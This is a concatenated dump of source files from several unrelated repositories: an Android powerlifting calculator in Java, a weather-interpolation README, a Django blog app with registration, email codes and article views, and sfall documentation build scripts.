<file_sep>include ':app', ':EdgeEffectOverride'
include ':tableFixHeaders'
<file_sep>package com.powerlifting.calc;
public interface OnFontChangeListener {
public void onFontChange();
}
<file_sep>package com.powerlifting.calc.fragments;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Spinner;
import com.inqbarna.tablefixheaders.TableFixHeaders;
import com.powerlifting.calc.Config;
import com.powerlifting.calc.R;
import com.powerlifting.calc.adapters.NormsTableAdapter;
import com.powerlifting.calc.adapters.SpinnerAdapter;
import java.util.Arrays;
import java.util.List;
public class NormsFragment extends Fragment {
private TableFixHeaders tableFixHeaders;
private AdapterView.OnItemSelectedListener onItemSelectedListener = new AdapterView.OnItemSelectedListener() {
@Override
public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
tableFixHeaders.setAdapter(new NormsTableAdapter(getActivity(), position));
}
@Override
public void onNothingSelected(AdapterView<?> parent) {
}
};
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View view = inflater.inflate(R.layout.norms_fragment, null);
String[] FEDERATIONS = getResources().getStringArray(R.array.federations_names);
Spinner normsSpinner = (Spinner) view.findViewById(R.id.norms_spinner);
List<String> federationList = Arrays.asList(FEDERATIONS);
SpinnerAdapter spinnerAdapter = new SpinnerAdapter(getActivity(), R.layout.spiner_item,
federationList, false);
normsSpinner.setAdapter(spinnerAdapter);
normsSpinner.setSelection(Config.getYourFederation());
normsSpinner.setOnItemSelectedListener(onItemSelectedListener);
tableFixHeaders = (TableFixHeaders) view.findViewById(R.id.table);
return view;
}
}
<file_sep>package com.powerlifting.calc;
import android.content.res.TypedArray;
import android.graphics.Color;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.support.v4.app.ActionBarDrawerToggle;
import android.support.v4.app.Fragment;
import android.support.v4.app.FragmentManager;
import android.support.v4.widget.DrawerLayout;
import android.support.v7.app.ActionBarActivity;
import android.util.Log;
import android.view.MenuItem;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ListView;
import android.widget.TextView;
import com.powerlifting.calc.adapters.NavigationDrawerAdapter;
import com.powerlifting.calc.fragments.CalcFragment;
import com.powerlifting.calc.fragments.HelpFragment;
import com.powerlifting.calc.fragments.MainFragment;
import com.powerlifting.calc.fragments.NormsFragment;
import com.powerlifting.calc.fragments.SettingsFragment;
public class MainActivity extends ActionBarActivity {
private ListView mNavigationDrawerMenu;
private DrawerLayout mDrawerLayout;
private ActionBarDrawerToggle mDrawerToggle;
private FragmentManager fragmentManager = getSupportFragmentManager();
private Boolean isDrawerLocked;
private AdapterView.OnItemClickListener mMenuClickListener = new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
if (position != Config.getMenuItem()) {
setFragment(position);
NavigationDrawerAdapter adapter = (NavigationDrawerAdapter) mNavigationDrawerMenu.getAdapter();
adapter.setChecked(position);
adapter.notifyDataSetChanged();
}
if (isDrawerLocked) {
return;
}
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
mDrawerLayout.closeDrawer(mNavigationDrawerMenu);
}
}, 80);
}
};
private OnFontChangeListener onFontChangeListener = new OnFontChangeListener() {
@Override
public void onFontChange() {
setCustomFontTitleBar();
}
};
@Override
protected void onPostResume() {
if (isDrawerLocked) {
mDrawerLayout.setDrawerLockMode(DrawerLayout.LOCK_MODE_LOCKED_OPEN);
mDrawerLayout.setScrimColor(Color.TRANSPARENT);
getSupportActionBar().setHomeButtonEnabled(false);
} else {
mDrawerLayout.setDrawerLockMode(DrawerLayout.LOCK_MODE_LOCKED_CLOSED);
mDrawerLayout.setDrawerLockMode(DrawerLayout.LOCK_MODE_UNLOCKED);
mDrawerLayout.setScrimColor(getResources().getColor(R.color.nav_dr_shadow));
getSupportActionBar().setHomeButtonEnabled(true);
}
super.onPostResume();
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
getSupportActionBar().setIcon(R.drawable.dumbbell);
Config.getInstance(this);
mDrawerLayout = (DrawerLayout) findViewById(R.id.drawer_layout);
mNavigationDrawerMenu = (ListView) findViewById(R.id.left_drawer);
isDrawerLocked = getResources().getBoolean(R.bool.tablet_land);
setCustomFontTitleBar();
//TEST
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
// SystemBarTintManager tintManager = new SystemBarTintManager(this);
// tintManager.setStatusBarTintEnabled(true);
//
// int actionBarColor = Color.parseColor("#00DDDD");
// tintManager.setStatusBarTintColor(actionBarColor);
// Log.d("asd","asd");
}
String[] mNavigationDrawerMenuTitles = getResources().getStringArray(R.array.navigation_drawer_menu_titles);
TypedArray mNavigationDrawerMenuIcons = getResources().obtainTypedArray(R.array.navigation_drawer_icons);
TypedArray mNavigationDrawerMenuCheckedIcons = getResources()
.obtainTypedArray(R.array.navigation_drawer_icons_checked);
NavigationDrawerAdapter mNavigationDrawerAdapter = new NavigationDrawerAdapter(this,
mNavigationDrawerMenuTitles, mNavigationDrawerMenuIcons, mNavigationDrawerMenuCheckedIcons);
mNavigationDrawerAdapter.setChecked(Config.getMenuItem());
mNavigationDrawerMenu.setAdapter(mNavigationDrawerAdapter);
mNavigationDrawerMenu.setOnItemClickListener(mMenuClickListener);
mDrawerToggle = new ActionBarDrawerToggle(this, mDrawerLayout,
R.drawable.ic_drawer, R.string.app_name, R.string.app_name) {
public void onDrawerClosed(View view) {
setTitleByMenuItem(Config.getMenuItem());
super.onDrawerClosed(view);
}
public void onDrawerOpened(View drawerView) {
getSupportActionBar().setTitle(getResources().getString(R.string.app_name));
super.onDrawerOpened(drawerView);
}
};
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
mDrawerLayout.setDrawerListener(mDrawerToggle);
//crash protector
findViewById(R.id.content_frame).setOnClickListener(null);
Fragment fragment = getFragmentByMenuItem(Config.getMenuItem());
fragmentManager.beginTransaction().replace(R.id.content_frame, fragment).commit();
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
return mDrawerToggle.onOptionsItemSelected(item) || super.onOptionsItemSelected(item);
}
@Override
protected void onPostCreate(Bundle savedInstanceState) {
super.onPostCreate(savedInstanceState);
mDrawerToggle.syncState();
}
@Override
public void onStop() {
Config.getInstance(this).saveAll();
super.onStop();
}
public void setCustomFontTitleBar() {
int fontType = Config.getFontType();
if (fontType != 0) {
int titleId = getResources().getIdentifier("action_bar_title", "id", "android");
TextView titleBarTextView = (TextView) findViewById(titleId);
String fontName = Integer.toString(fontType) + ".ttf";
if (titleBarTextView != null) {
titleBarTextView.setTypeface(TypeFaceProvider.getTypeFace(this, fontName));
}
}
}
private void setFragment(int position) {
Config.setMenuItem(position);
Fragment fragment = getFragmentByMenuItem(position);
fragmentManager.beginTransaction().replace(R.id.content_frame, fragment).commit();
}
private Fragment getFragmentByMenuItem(int position) {
Fragment fragment = null;
switch (position) {
case 0:
fragment = new MainFragment();
break;
case 1:
fragment = new CalcFragment();
break;
case 2:
fragment = new NormsFragment();
break;
case 3:
fragment = new SettingsFragment();
((SettingsFragment) fragment).setOnFontChangeListener(onFontChangeListener);
break;
case 4:
fragment = new HelpFragment();
break;
}
setTitleByMenuItem(position);
return fragment;
}
private void setTitleByMenuItem(int position) {
switch (position) {
case 0:
getSupportActionBar().setTitle(getResources().getString(R.string.main));
break;
case 1:
getSupportActionBar().setTitle(getResources().getString(R.string.calculator));
break;
case 2:
getSupportActionBar().setTitle(getResources().getString(R.string.norms));
break;
case 3:
getSupportActionBar().setTitle(getResources().getString(R.string.settings));
break;
case 4:
getSupportActionBar().setTitle(getResources().getString(R.string.help));
break;
}
}
}
<file_sep>package com.powerlifting.calc;
import android.content.Context;
public class Config {
public static final float[][] COEFFICIENTS = {
{1.0f, 1.035f, 1.08f, 1.115f, 1.15f, 1.18f, 1.22f, 1.255f, 1.29f, 1.325f},
{1.0f, 1.0475f, 1.13f, 1.1575f, 1.2f, 1.242f, 1.284f, 1.326f, 1.386f, 1.41f},
{1.0f, 1.065f, 1.13f, 1.147f, 1.164f, 1.181f, 1.198f, 1.232f, 1.236f, 1.24f}
};
private final static String BENCH_PRESS = "bench_press";
private final static String SQUAT = "squat";
private final static String DEADLIFT = "deadlift";
private final static String BENCH_PRESS_REPS = "bench_press_reps";
private final static String SQUAT_REPS = "squat_reps";
private final static String DEADLIFT_REPS = "deadlift_reps";
private final static String YOUR_WEIGHT = "your_weight";
private final static String YOUR_GENDER = "your_gender";
private final static String YOUR_FEDERATION = "your_federation";
private final static String IS_EXPAND = "is_expand";
private final static String YOUR_CATEGORY_INDEX = "your_category_index";
private static final String YOUR_WEIGHT_INDEX = "your_weight_index";
private static final String MENU_ITEM = "menu_item";
private static final String FONT_TYPE = "font_type";
private static float pressWeight;
private static float deadliftWeight;
private static float squatWeight;
private static float yourWeight;
private static int pressReps;
private static int deadliftReps;
private static int squatReps;
private static boolean isExpanded;
private static int yourFederation;
private static boolean yourGender;
public static boolean getYourMeasure() {
return yourMeasure;
}
public static void setYourMeasure(boolean yourMeasure) {
Config.yourMeasure = yourMeasure;
}
private static boolean yourMeasure;
private static Config instance;
public static int getFontType() {
return fontType;
}
public static void setFontType(int fontType) {
Config.fontType = fontType;
}
private static int fontType;
private Context context;
private static int menuItem;
public static int getYourWeightIndex() {
return yourWeightIndex;
}
private static int yourWeightIndex;
public static int getYourCategoryIndex() {
return yourCategoryIndex;
}
public static void setYourCategoryIndex(int yourCategoryIndex) {
Config.yourCategoryIndex = yourCategoryIndex;
}
private static int yourCategoryIndex;
public Config(Context context) {
this.context = context;
this.init();
}
public static Config getInstance(Context context) {
if (instance == null) {
instance = new Config(context);
}
return instance;
}
public static float getWeightByType(int type) {
switch (type) {
case 0:
return getPressWeight();
case 1:
return getSquatWeight();
case 2:
return getDeadliftWeight();
default:
return 0;
}
}
public static int getRepsByType(int type) {
switch (type) {
case 0:
return getPressReps();
case 1:
return getSquatReps();
case 2:
return getDeadliftReps();
default:
return 0;
}
}
public static float[] getMaxWeights() {
float weights[] = new float[4];
weights[0] = Utils.getMaxWeightByType(pressWeight, pressReps, 0);
weights[1] = Utils.getMaxWeightByType(squatWeight, squatReps, 1);
weights[2] = Utils.getMaxWeightByType(deadliftWeight, deadliftReps, 2);
weights[3] = yourWeight;
return weights;
}
public static float getYourWeight() {
return yourWeight;
}
public static void setYourWeight(float yourWeight) {
Config.yourWeight = yourWeight;
}
public static float getPressWeight() {
return pressWeight;
}
public static void setPressWeight(float pressWeight) {
Config.pressWeight = pressWeight;
}
public static int getPressReps() {
return pressReps;
}
public static void setPressReps(int pressReps) {
Config.pressReps = pressReps;
}
public static float getDeadliftWeight() {
return deadliftWeight;
}
public static void setDeadliftWeight(float deadliftWeight) {
Config.deadliftWeight = deadliftWeight;
}
public static int getDeadliftReps() {
return deadliftReps;
}
public static void setDeadliftReps(int deadliftReps) {
Config.deadliftReps = deadliftReps;
}
public static float getSquatWeight() {
return squatWeight;
}
public static void setSquatWeight(float squatWeight) {
Config.squatWeight = squatWeight;
}
public static int getSquatReps() {
return squatReps;
}
public static void setSquatReps(int squatReps) {
Config.squatReps = squatReps;
}
public static int getMenuItem() {
return menuItem;
}
public static void setMenuItem(int menuItem) {
Config.menuItem = menuItem;
}
public static boolean getYourGender() {
return yourGender;
}
public static void setYourGender(boolean yourGender) {
Config.yourGender = yourGender;
}
public static int getYourFederation() {
return yourFederation;
}
public static void setYourFederation(int yourFederation) {
Config.yourFederation = yourFederation;
}
public static Boolean getIsExtended() {
return isExpanded;
}
public static void setIsExpanded(Boolean isExpanded) {
Config.isExpanded = isExpanded;
}
public static void setYourWeightIndex(int yourWeightIndex) {
Config.yourWeightIndex = yourWeightIndex;
}
public void init() {
pressWeight = Utils.loadVal(BENCH_PRESS, context);
squatWeight = Utils.loadVal(SQUAT, context);
deadliftWeight = Utils.loadVal(DEADLIFT, context);
yourWeight = Utils.loadVal(YOUR_WEIGHT, context);
pressReps = (int) Utils.loadVal(BENCH_PRESS_REPS, context);
squatReps = (int) Utils.loadVal(SQUAT_REPS, context);
deadliftReps = (int) Utils.loadVal(DEADLIFT_REPS, context);
isExpanded = getBoolean(Utils.loadVal(IS_EXPAND, context));
yourFederation = (int) Utils.loadVal(YOUR_FEDERATION, context);
yourGender = getBoolean(Utils.loadVal(YOUR_GENDER, context));
yourWeightIndex = (int) Utils.loadVal(YOUR_WEIGHT_INDEX, context);
yourCategoryIndex = (int) Utils.loadVal(YOUR_CATEGORY_INDEX, context);
menuItem = (int) Utils.loadVal(MENU_ITEM, context);
fontType = (int) Utils.loadVal(FONT_TYPE, context);
}
private boolean getBoolean(float value) {
return value != 0;
}
private int getInt(Boolean b) {
if (b) {
return 1;
} else {
return 0;
}
}
public void saveAll() {
//Save weights (3 + 1)
Utils.saveVal(BENCH_PRESS, pressWeight, context);
Utils.saveVal(SQUAT, squatWeight, context);
Utils.saveVal(DEADLIFT, deadliftWeight, context);
Utils.saveVal(YOUR_WEIGHT, yourWeight, context);
//Save reps
Utils.saveVal(BENCH_PRESS_REPS, pressReps, context);
Utils.saveVal(SQUAT_REPS, squatReps, context);
Utils.saveVal(DEADLIFT_REPS, deadliftReps, context);
//Save settings
Utils.saveVal(IS_EXPAND, getInt(isExpanded), context);
Utils.saveVal(YOUR_FEDERATION, yourFederation, context);
Utils.saveVal(YOUR_GENDER, getInt(yourGender), context);
Utils.saveVal(YOUR_WEIGHT_INDEX, yourWeightIndex, context);
Utils.saveVal(YOUR_CATEGORY_INDEX, yourCategoryIndex, context);
Utils.saveVal(MENU_ITEM, menuItem, context);
Utils.saveVal(FONT_TYPE, fontType, context);
}
public void setWeightAndRepsByType(float weight, int reps, int type) {
switch (type) {
case 0:
setPressWeight(weight);
setPressReps(reps);
break;
case 1:
setSquatWeight(weight);
setSquatReps(reps);
break;
case 2:
setDeadliftWeight(weight);
setDeadliftReps(reps);
break;
}
}
}
| 6e50122dda3b892a46ad6ec5a74605967e1b234a | [
"Java",
"INI",
"Gradle"
] | 11 | Java | cherkasovas/powerlifting-v2 | 925553006a853387c7ce0ef71e23fd6d84d0a208 | 1a771c7b3e9b696b83ea68e7cacd7f53835d633f |
refs/heads/master | <file_sep># mesonet-interpolation
Taking weather readings from various mountainous weather stations and generating a 2-d raster of interpolated surface readings.
## Inputs
* JSON containing:
* Site identifier
* Site value
* Site elevation
* Site latitude and longitude
* Digital Elevation Model data
## Outputs
* Plot of readings (x-axis) vs elevation (y-axis) with a vertical line at freezing (png)
* Raster output (png)
* Raster colorbar legend (png)
* Temperature x/y/z gradient information (json)
<file_sep># Overview of temperature interpolation
* Load input data (elevation, name, ) into pandas dataframe
* Use scipy linregress to determine a linear regression model for elevation
* Open DEM with rasterio
* Apply linear regression model to each pixel in the DEM
* Use matplotlib's imshow to save a png<file_sep># Open DEM file | 21c2696c38621addd4649add18ee334013af5d28 | [
"Markdown",
"Python"
] | 3 | Markdown | mikedorfman/mesonet-interpolation | 06ee619a95f23dfd09fcecd5ebb650bc292a00f3 | 22bc48b6dd18109b2534304282bb8b983244a086 |
refs/heads/master | <file_sep>import random
from django.core.mail import send_mail
from .models import EmailValidLog
def generate_code():
length = 4
code = ''
for i in range(length):
code += str(random.randint(0,9))
return code
def send_code_mail(title,who,code):
msg = "您的注册验证码为:%s" % code
rs = send_mail(title, msg, '4<EMAIL>', [who], fail_silently=False)
code_log = EmailValidLog.objects.create(email=who, code=code)
code_log.save()
<file_sep>from django.db import models
from django.utils import timezone
import hashlib
# Create your models here.
class User(models.Model):
gender_choice = (
(1, "男"),
(0, "女")
)
user_name = models.CharField(verbose_name="用户名", unique=True, null= False, max_length=100)
password = models.CharField(verbose_name="密码", null=False,max_length=200)
gender = models.CharField(choices=gender_choice, max_length=2)
email = models.EmailField(null=False, unique=True,max_length=100)
tel = models.CharField(null=True, unique=True, max_length=20)
create_time = models.DateTimeField(default=timezone.now)
class Meta:
db_table = 'tb_user'
verbose_name = '用户'
verbose_name_plural = verbose_name
def __str__(self):
return self.user_name
def save(self, force_insert=False, force_update=False, using=None,
update_fields=None):
self.password = <PASSWORD>(self.password.encode("<PASSWORD>()
super().save()
class EmailValidLog(models.Model):
email = models.EmailField(null=False, unique=False, max_length=100)
code = models.CharField(max_length=10)
send_time = models.DateTimeField(default=timezone.now)
class Meta:
db_table= 'tb_email_valid_log'<file_sep>from django.shortcuts import render
from django.http import HttpResponse
from django.core import serializers
from django.views.decorators.csrf import csrf_exempt
from .models import Category,Article
from user.models import User
import time
import os
import json
from .tools import json_data
# Create your views here.
# 跳转到home页面
def home(request):
return render(request,'home.html')
def writer(request):
if request.method == "POST":
pass
else :
user_id = request.session['user']
category_list = Category.objects.filter(create_user_id=user_id).order_by('-id')
return render(request, 'writer.html',{'category_list':category_list})
@csrf_exempt
def category(request):
user_id = request.session['user']
# 新建文集输入检验
if request.method == "POST":
category_name = request.POST.get("name")
if not category_name:
return HttpResponse("类别不能为空!")
user = User.objects.get(pk=user_id)
cate = Category(category_name = category_name, create_user = user)
cate.save()
return HttpResponse("ok")
else:
category_list = Category.objects.filter(create_user_id=user_id).order_by('-id')
data = serializers.serialize("json",category_list)
return HttpResponse(data, content_type='application/json;charset=utf-8')
#
@csrf_exempt
def category_delete(request):
cate_id = request.POST['cate_id']
if not cate_id:
return HttpResponse("fail")
Category.objects.filter(id=cate_id).delete()
return HttpResponse("ok")
@csrf_exempt
def article(request):
if request.method == 'POST':
try:
title = request.POST['blog_title']
content = request.POST['blog_content']
category_id = request.POST['category_id']
article_id = request.POST.get("article_id", None)
user_id = request.session['user']
if (not title) or (not content) or (not category_id) :
raise KeyError
if not article_id:
article_id = None
article = Article(id=article_id,title=title,content=content,category_id=category_id,author_id=user_id)
article.save()
data = {
'article_id':article.id
}
return json_data(data = data)
except KeyError:
data = {'msg': '参数不合法'}
return json_data(code = 1001,data=data)
else:
pass
@csrf_exempt
def fileupload(request):
file = request.FILES.get("upload",None)
if file is None:
return HttpResponse("文件上传失败!")
else:
base_dir = "./"
upload_dir ="/static/upload_files"
#自动生成文件名
file_name = int(time.time() * 1000)
pos = file.name.rindex(".")
suffix = file.name[pos:]
upload_file_name = upload_dir + str(file_name) + suffix
# 上传文件
with open(os.path.abspath(base_dir +upload_file_name), "wb+") as f:
for chunk in file.chunks():
f.write(chunk)
# return HttpResponse(upload_file_name)
resp = {
'uploaded':1,
'fileName':file.name,
'url':upload_file_name,
}
return HttpResponse(json.dumps(resp,ensure_ascii=False))
<file_sep>from django.urls import path,include
urlpatterns = [
path('user/', include("user.urls")),
path("",include("blog.urls"))
]
<file_sep>from django import forms
from .models import User
import hashlib
# class RegisterForm(forms.Form):
# username = forms.CharField(label="用户名", required=True,min_length=4,error_messages={'required':"用户名不能为空",'min_length':"用户名最少4个字符"})
# password = forms.CharField(label="密码", required=True, min_length=6,error_messages={'required':"密码不能为空",'min_length':"密码最少6个字符"})
# email = forms.EmailField(label="邮箱", required=True ,error_messages={'required':"邮箱不能为空"})
# valid_code = forms.CharField(label="验证码",required=True,error_messages={"required":"验证码不能为空"})
class RegisterForm(forms.ModelForm):
user_name = forms.CharField(label="用户名", required=True, min_length=4, error_messages={'required': "用户名不能为空", 'min_length': "用户名最少4个字符"})
password = forms.CharField(widget=forms.PasswordInput ,label="密码", required=True, min_length=6, error_messages={'required': "密码不能为空", 'min_length': "密码最少6个字符"})
re_password = forms.CharField(widget=forms.PasswordInput ,label="确认密码", required=True, min_length=6, error_messages={'required': "确认密码不能为空", 'min_length': "密码最少6个字符"})
email = forms.EmailField(label="邮箱", required=True, error_messages={'required': "邮箱不能为空"})
valid_code = forms.CharField(label="验证码", required=True, error_messages={"required": "验证码不能为空"})
class Meta:
model = User
fields = ['user_name','password','re_password','email','valid_code']
def clean_valid_code(self):
valid_code = self.cleaned_data.get('valid_code')
if (valid_code != self.s_valid_code):
return self.add_error('valid_code',"验证码不正确")
def set_session_validcode(self,s_valid_code):
"""传入session中的验证码"""
self.s_valid_code = s_valid_code
def clean(self):
super().clean()
"""验证两次输入是否相同"""
clean_data = self.cleaned_data
password = clean_data.get('password')
re_password = clean_data.get("re_password")
if password != re_password :
print(password,'--',re_password)
return self.add_error("re_password","两次密码输入不一致")
class LoginForm(forms.Form):
user_name = forms.CharField(label="用户名", required=True, min_length=4, error_messages={'required': "用户名不能为空", 'min_length': "用户名最少4个字符"})
password = forms.CharField(widget=forms.PasswordInput, label="密码", required=True, min_length=6,error_messages={'required': "密码不能为空", 'min_length': "密码最少6个字符"})<file_sep>from django.shortcuts import render,redirect,reverse
from django.core.mail import send_mail
from django.http import HttpResponse
import hashlib
import json
from .forms import RegisterForm,LoginForm
from .tools import generate_code,send_code_mail
from .models import User
from .excep import MyBaseException
# Create your views here.
def login(request):
if request.method == "POST":
try:
form = LoginForm(request.POST)
if form.is_valid():
user = User.objects.filter(user_name=request.POST['user_name'])
if len(user) == 0:
raise MyBaseException(code=1001,msg="用户名或密码错误")
exist_user = user[0]
password = request.POST['password']
encode_pwd = hashlib.md5(password.encode("utf-8")).hexdigest()
if encode_pwd != exist_user.password:
raise MyBaseException(code=1001, msg="用户名或密码错误")
# 将用户信息保存到session中
request.session['user'] = exist_user.id
return redirect(reverse('blog:home'))
else:
return render(request, 'login.html', {'form': form})
except MyBaseException as e:
# form.add_error("password", e.msg)
return render(request, 'login.html', {'form': form,'error_msg': e.msg})
else:
form = LoginForm()
return render(request, 'login.html',{'form':form})
def register(request):
if request.method == 'GET':
form = RegisterForm()
return render(request, 'register.html',{'form':form})
elif request.method == 'POST':
form = RegisterForm(request.POST)
form.set_session_validcode(request.session['valid_code'])
if form.is_valid():
form.save()
return HttpResponse("创建成功")
else:
return render(request, 'register.html', {'form': form})
def sendcode(request):
try:
email = request.POST['email']
if not email:
raise RuntimeError()
# 生成验证码
code = generate_code()
# 将验证码存到session中
request.session['valid_code'] = code
# 发送邮件
# message = "您的注册验证码为:%s" % code
# print(email,":",message)
# rs = send_mail("微博客验证码", message, '<EMAIL>', [email], fail_silently=False)
# print(rs)
send_code_mail("微博客验证码", email, code)
return HttpResponse("ok")
except Exception as e:
print(e)
return HttpResponse("fail")
def validemail(request):
email = request.GET.get("email")
if not email:
return HttpResponse("fail")
user = User.objects.filter(email=email)
if len(user) > 0 :
return HttpResponse("fail")
else :
return HttpResponse("ok")
<file_sep>from django.urls import path
from . import views
app_name = 'blog'
urlpatterns = [
path("home", views.home, name="home"),
path("writer",views.writer, name="writer"),
path("blog/category", views.category, name="category"),
path("blog/category/delete",views.category_delete, name="category_delete"),
path("blog/article",views.article,name="article"),
path("blog/fileupload",views.fileupload, name="fileupload")
]<file_sep>
import json
from django.http import HttpResponse
def json_data(code = 200,msg = "success",data = {}):
resp = {
'status':code,
'data':data,
'mag':msg
}
data = json.dumps(resp, ensure_ascii=False)
return HttpResponse(data, content_type="application/json;charset = utf-8")<file_sep>from django.db import models
from django.utils import timezone
from user.models import User
# Create your models here.
class Category(models.Model):
category_name = models.CharField(max_length=100,null=False)
create_user = models.ForeignKey(User,on_delete = models.CASCADE, null=True)
class Meta:
db_table = "tb_category"
verbose_name = "类别"
verbose_name_plural = verbose_name
class Article(models.Model):
title = models.CharField(max_length=200)
content = models.TextField()
author = models.ForeignKey(User, on_delete = models.CASCADE)
category = models.ForeignKey(Category, on_delete = models.CASCADE)
read_times = models.IntegerField(default=0)
zan_times = models.IntegerField(default=0)
cai_times = models.IntegerField(default=0)
create_time = models.DateTimeField(default=timezone.now)
class Meta:
db_table = 'tb_article'
verbose_name = '文章'
verbose_name_plural = verbose_name
<file_sep># Generated by Django 2.2.3 on 2019-07-30 09:05
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='EmailValidLog',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('email', models.EmailField(max_length=100, unique=True)),
('code', models.CharField(max_length=10)),
('send_time', models.DateTimeField(default=django.utils.timezone.now)),
],
options={
'db_table': 'tb_email_valid_log',
},
),
migrations.CreateModel(
name='User',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('user_name', models.CharField(max_length=100, unique=True, verbose_name='用户名')),
('password', models.CharField(max_length=200, verbose_name='密码')),
('gender', models.CharField(choices=[(1, '男'), (0, '女')], max_length=2)),
('email', models.EmailField(max_length=100, unique=True)),
('tel', models.CharField(max_length=20, null=True, unique=True)),
('create_time', models.DateTimeField(default=django.utils.timezone.now)),
],
options={
'db_table': 'tb_user',
},
),
]
<file_sep># Generated by Django 2.2.3 on 2019-08-01 03:36
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('blog', '0001_initial'),
]
operations = [
migrations.AlterModelOptions(
name='article',
options={'verbose_name': '文章', 'verbose_name_plural': '文章'},
),
migrations.AlterModelTable(
name='article',
table='tb_article',
),
]
<file_sep>class MyBaseException(Exception):
def __init__(self, code = 500,msg=''):
super().__init__()
self.code = code
self.msg = msg<file_sep>from django.urls import path
from . import views
app_name = 'user'
urlpatterns = [
path("login", views.login, name="login"),
path("register", views.register, name="register"),
path("sendcode",views.sendcode,name="sendcode"),
path("validemail",views.validemail, name="validemail")
]<file_sep># Generated by Django 2.2.3 on 2019-08-01 00:24
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('user', '0001_initial'),
]
operations = [
migrations.AlterModelOptions(
name='user',
options={'verbose_name': '用户', 'verbose_name_plural': '用户'},
),
migrations.AlterField(
model_name='emailvalidlog',
name='email',
field=models.EmailField(max_length=100),
),
]
| 08d3177e700faf61c0dadf11d97e2bc88c53ba63 | [
"Python"
] | 14 | Python | Alacazar99/Django_Jianshu_test | 63cb3fc18236930f914adf7df7423ade1d31233b | 29732802d79f3df1f97367244c9fd1366ed34c55 |
refs/heads/master | <file_sep>#!/bin/bash
set -xeu -o pipefail
site_dir="scr"
yml_dir="../docs_ru"
pages_dir="pages"
pushd .
cd "$site_dir"
mkdir -p "$pages_dir"
cp ../docs_ru/*.md .
./yaml_to_md.py "$yml_dir/functions.yml" "$yml_dir/hooks.yml" "$pages_dir"
bundle install
bundle exec jekyll build
popd
<file_sep>---
navigation: 1
title: Home
permalink: /
nav_order: 1
---
# sfall
{: .no_toc}
* TOC
{: toc}
sfall is a set of engine modifications for the classic game Fallout 2 in form of a DLL, which modifies executable in memory without changing anything in EXE file itself.
Engine modifications include:
* Better support for modern operating systems
* Externalizing many settings like starting map and game time, skills, perks, critical hit tables, books, etc.
* Bug fixes
* Many additional features for users, such as item highlight button, party member control, etc.
* Extended scripting capabilities for modders (many new opcodes to control sfall features as well as previously unavailable vanilla engine functions)
## Getting started
This is documentation for sfall specifically, not Fallout scripting in general. For vanilla function reference, refer to the [wiki](https://falloutmods.fandom.com/wiki/Fallout_1_and_Fallout_2_scripting_-_commands,_reference,_tutorials).
To get started with sfall, first familiarize yourself with new concepts:
* [Global scripts]({{ site.baseurl }}/global-scripts/)
* [Global variables]({{ site.baseurl }}/global-variables/)
* [Arrays]({{ site.baseurl }}/arrays/)
* [Hooks]({{ site.baseurl }}/hooks/)
* [Data types]({{ site.baseurl }}/data-types/)
* [Lists]({{ site.baseurl }}/lists/)
Pay special attention to the [best practices]({{ site.baseurl }}/best-practices/) page.
Next, proceed to discover new functions. They are categorized, use the menu to find the one you need. If you can't, also check [uncategorized functions]({{ site.baseurl }}/other/) list and [sfall macros]({{ site.baseurl }}/sfall-funcx-macros/).
## Questions and problems
* Report bugs and suggest features on [Github](https://github.com/phobos2077/sfall/issues).
* Ask questions and discuss on the [forum](http://nma-fallout.com/threads/fo2-engine-tweaks-sfall.178390/).
<file_sep>---
title: Data types
nav_order: 2
permalink: /data-types/
---
# Data types
{: .no_toc}
Data types mentioned in this document
* `void` - means opcode does not return any value
* `any` - any type
* `int` - integer number
* `float` - floating point number
* `string` - string (text) value
* `object` - pointer to game object (actually an integer)
* `array` - array ID to be used with array-related functions (actually an integer)
<file_sep>#!/usr/bin/env python
# coding: utf-8
import sys, os
import ruamel.yaml
yaml = ruamel.yaml.YAML(typ="rt")
yaml.width = 4096
yaml.indent(mapping=2, sequence=4, offset=2)
#import sys, yaml, os
#reload(sys)
#sys.setdefaultencoding('utf8') # ugly buy works
functions_yaml = sys.argv[1]
hooks_yaml = sys.argv[2]
md_dir = sys.argv[3]
# template for functions pages
function_header_template = '''---
layout: page
title: '{name}' # quote just in case
nav_order: 3
has_children: true
# parent - could be empty
{parent}
permalink: {permalink}
---
# {name}
{{: .no_toc}}
'''
function_header_template_noname = '''---
layout: page
title: '{name}' # quote just in case
nav_order: 3
has_children: true
# parent - could be empty
{parent}
permalink: {permalink}
---
'''
function_header_name = '''
'''
# template for hooks types page - hardcoded
hooks_header = '''---
layout: page
title: Hook types
nav_order: 3
parent: Hooks
permalink: /hook-types/
---
# Hook types
{: .no_toc}
* TOC
{:toc}
---
'''
# functions pages
with open(functions_yaml) as yf:
data = yaml.load(yf)
for cat in data: # list categories
text = ""
parent = ""
# used in filename and permalink
slug = cat['name'].lower().replace(' ','-').replace(':','-').replace('/','-').replace('--','-')
# if parent is present, this is a subcategory
if 'parent' in cat:
parent = "parent: " + cat['parent']
if 'items' in cat: # parent pages with no immediate functions don't need name displayed
header = function_header_template.format(name=cat['name'], parent=parent, permalink="/{}/".format(slug))
else:
header = function_header_template_noname.format(name=cat['name'], parent=parent, permalink="/{}/".format(slug))
text += header
# common doc for category
if 'doc' in cat:
text = text + '\n' + cat['doc'] + '\n'
text = text + "\n* TOC\n{:toc}\n\n---\n"
if 'items' in cat: # allow parent pages with no immediate items
